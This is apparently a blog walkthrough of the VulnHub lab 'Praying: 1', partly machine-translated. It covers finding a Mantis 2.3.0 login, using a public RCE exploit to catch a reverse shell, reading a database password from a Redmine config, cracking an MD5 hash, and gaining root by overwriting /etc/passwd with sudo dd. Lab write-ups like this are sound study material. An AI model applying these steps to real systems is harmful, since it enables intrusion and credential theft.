当前位置:网站首页>Praying: 1 vulnhub walkthrough
Praying: 1 vulnhub walkthrough
2022-08-02 03:59:00 【xdeclearn】
Praying: 1
虚拟机信息:http://www.vulnhub.com/entry/praying-1,575/
1. 获取shell
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
服务器只开放了80端口,访问后为apache默认页面,于是用dirbran the directory,发现了admin
目录.
==> DIRECTORY: http://192.168.56.105/admin/
Found after discoverymantis的登陆页面
After testing, it was found that there is still an arbitrary account password reset vulnerability.修改aministrator账户登陆,发现版本为2.3.0.
利用searchsploitDirectly found the command execution code.
Mantis Bug Tracker 2.3.0 - Remote Code E | php/webapps/48818.py
于是得到了第一个shell.
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.56.101:4444
[*] Command shell session 1 opened (192.168.56.101:4444 -> 192.168.56.105:55892) at 2020-11-26 08:31:16 -0500
id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/var/www/html$
2. 获取root
Do some information gathering first
cat /etc/passwd|grep /bin/bash
root::0:0:root:/root:/bin/bash
mantis:x:1000:1000:praying:/home/mantis:/bin/bash
developer:x:1001:1001:,,,:/home/developer:/bin/bash
projman:x:1002:1002:,,,:/home/projman:/bin/bash
elevate:x:1003:1003:,,,:/home/elevate:/bin/bash
root:x:0:0:root:/root:/bin/bash
mantis:x:1000:1000:praying:/home/mantis:/bin/bash
developer:x:1001:1001:,,,:/home/developer:/bin/bash
projman:x:1002:1002:,,,:/home/projman:/bin/bash
elevate:x:1003:1003:,,,:/home/elevate:/bin/bash
ls -all /home
total 24
drwxr-xr-x 6 root root 4096 Sep 24 23:01 .
drwxr-xr-x 20 root root 4096 Sep 24 16:12 ..
drwx------ 3 developer developer 4096 Sep 24 20:15 developer
drwx------ 4 elevate elevate 4096 Nov 26 13:12 elevate
drwx------ 4 mantis mantis 4096 Sep 26 23:25 mantis
drwx------ 5 projman projman 4096 Sep 26 23:27 projman
发现了用户mantis,So check whether there are any files related to the user.
发现存在/var/www/redmine
目录,进入之后在database.yml
找到了用户 projman
的口令.
adapter: mysql2
database: redmine
host: localhost
username: projman
password: "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
# Use "utf8" instead of "utfmb4" for MySQL prior to 5.7.7
encoding: utf8mb4
切换用户登陆,It was found that there is a file under the user for .part1
.
ls -all
total 36
drwx------ 5 projman projman 4096 Sep 26 23:27 .
drwxr-xr-x 6 root root 4096 Sep 24 23:01 ..
lrwxrwxrwx 1 projman projman 9 Sep 24 23:19 .bash_history -> /dev/null
-rw-r--r-- 1 projman projman 220 Sep 24 20:11 .bash_logout
-rw-r--r-- 1 projman projman 3771 Sep 24 20:11 .bashrc
drwx------ 2 projman projman 4096 Sep 24 20:13 .cache
drwxrwxr-x 3 projman projman 4096 Sep 24 23:47 .local
-rw-r--r-- 1 projman projman 33 Sep 24 23:47 .part1
-rw-r--r-- 1 projman projman 807 Sep 24 20:11 .profile
drwx------ 2 projman projman 4096 Sep 26 23:27 .ssh
cat .part1
4914CACB6C089C74AEAEB87497AF2FBA
Put that password incmd5Crack to get new userselevate
的密码tequieromucho
.
切换到该用户,查看sudo -l
,发现可以sudo执行dd命令.这个就比较简单了,重写一个/etc/passwd
取消root账户密码,成功获取root.这是新的passwd
文件1.txt
.
cat 1.txt
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
........................
[email protected]:~$ sudo -u root dd if=1.txt of=/etc/passwd
sudo -u root dd if=1.txt of=/etc/passwd
[sudo] password for elevate: tequieromucho
8+1 records in
8+1 records out
4106 bytes (4.1 kB, 4.0 KiB) copied, 0.000241207 s, 17.0 MB/s
[email protected]:~$ su - root
su - root
[email protected]:~# ls
ls
message part2 root.txt snap
[email protected]:~# cat root.txt
cat root.txt
██▓███ ██▀███ ▄▄▄ ▓██ ██▓ ██▓ ███▄ █ ▄████
▓██░ ██▒▓██ ▒ ██▒████▄ ▒██ ██▒▓██▒ ██ ▀█ █ ██▒ ▀█▒
▓██░ ██▓▒▓██ ░▄█ ▒██ ▀█▄ ▒██ ██░▒██▒▓██ ▀█ ██▒▒██░▄▄▄░
▒██▄█▓▒ ▒▒██▀▀█▄ ░██▄▄▄▄██ ░ ▐██▓░░██░▓██▒ ▐▌██▒░▓█ ██▓
▒██▒ ░ ░░██▓ ▒██▒▓█ ▓██▒ ░ ██▒▓░░██░▒██░ ▓██░░▒▓███▀▒
▒▓▒░ ░ ░░ ▒▓ ░▒▓░▒▒ ▓▒█░ ██▒▒▒ ░▓ ░ ▒░ ▒ ▒ ░▒ ▒
░▒ ░ ░▒ ░ ▒░ ▒ ▒▒ ░▓██ ░▒░ ▒ ░░ ░░ ░ ▒░ ░ ░
░░ ░░ ░ ░ ▒ ▒ ▒ ░░ ▒ ░ ░ ░ ░ ░ ░ ░
░ ░ ░░ ░ ░ ░ ░
███▄ ▄███▓ ▄▄▄ ███▄ ░ █ ▄▄▄█████▓ ██▓ ██████
▓██▒▀█▀ ██▒▒████▄ ██ ▀█ █ ▓ ██▒ ▓▒▓██▒▒██ ▒
▓██ ▓██░▒██ ▀█▄ ▓██ ▀█ ██▒▒ ▓██░ ▒░▒██▒░ ▓██▄
▒██ ▒██ ░██▄▄▄▄██▓██▒ ▐▌██▒░ ▓██▓ ░ ░██░ ▒ ██▒
▒██▒ ░██▒ ▓█ ▓██▒██░ ▓██░ ▒██▒ ░ ░██░▒██████▒▒
░ ▒░ ░ ░ ▒▒ ▓▒█░ ▒░ ▒ ▒ ▒ ░░ ░▓ ▒ ▒▓▒ ▒ ░
░ ░ ░ ▒ ▒▒ ░ ░░ ░ ▒░ ░ ▒ ░░ ░▒ ░ ░
░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░░ ░ ░
██▀███░ ▒█████ ░ ▒█████ ▄▄▄█████▓▓█████ ▓█████▄░ ▐██▌
▓██ ▒ ██▒▒██▒ ██▒▒██▒ ██▒▓ ██▒ ▓▒▓█ ▀ ▒██▀ ██▌ ▐██▌
▓██ ░▄█ ▒▒██░ ██▒▒██░ ██▒▒ ▓██░ ▒░▒███ ░██ █▌ ▐██▌
▒██▀▀█▄ ▒██ ██░▒██ ██░░ ▓██▓ ░ ▒▓█ ▄ ░▓█▄ ▌ ▓██▒
░██▓ ▒██▒░ ████▓▒░░ ████▓▒░ ▒██▒ ░ ░▒████▒░▒████▓ ▒▄▄
░ ▒▓ ░▒▓░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒ ░░ ░░ ▒░ ░ ▒▒▓ ▒ ░▀▀▒
░▒ ░ ▒░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░
░░ ░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░
░
https://www.youtube.com/watch?v=T1XgFsitnQw
边栏推荐
- Function hoisting and variable hoisting
- IO streams, byte stream and byte stream buffer
- 数组的高级操作
- MySql高级 -- 约束
- SQL分类、DQL(数据查询语言)、以及相应SQL查询语句演示
- What will be new in PHP8.2?
- 14. JS Statements and Comments, Variables and Data Types
- ES6数组的扩展方法map、filter、reduce、fill和数组遍历for…in for…of arr.forEach
- (1) print()函数、转义字符、二进制与字符编码 、变量、数据类型、input()函数、运算符
- Eric靶机渗透测试通关全教程
猜你喜欢
IO流、 编码表、 字符流、 字符缓冲流
MOMENTUM: 2 vulnhub walkthrough
(2) 顺序结构、对象的布尔值、选择结构、循环结构、列表、字典、元组、集合
Kali install IDEA
阿里云设置域名解析重定向后,无法使用Chrome访问
v-bind用法:类动态绑定对象 数组 style样式 及函数方法
SQL classification, DQL (Data Query Language), and corresponding SQL query statement demonstration
第一次手撕代码,如何解出全排列问题
hackmyvm: may walkthrough
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
随机推荐
ES6三点运算符、数组方法、字符串扩展方法
Solve the problem of uni - app packaged H5 website to download image
v-bind用法:类动态绑定对象 数组 style样式 及函数方法
14. JS Statements and Comments, Variables and Data Types
第一次手撕代码,如何解出全排列问题
uniapp | 开发中遇到的兼容性问题(待续)
[league/climate]一个功能健全的命令行功能操作库
js 原型和原型链
[mikehaertl/php-shellcommand] A library for invoking external command operations
查询数据库中所有表的索引,并且解析成sql
[symfony/mailer]一个优雅易用的发送邮件类库
逍遥多开模拟器ADB驱动连接
New usage of string variable parsing in PHP8.2
js eventLoop 事件循环机制
14.JS语句和注释,变量和数据类型
hackmyvm: kitty walkthrough
PHP 给图片添加全图水印
Phpstudy安装Thinkphp6(问题+解决)
如何根据地图上的两个坐标点来确定方向
16.JS事件, 字符串和运算符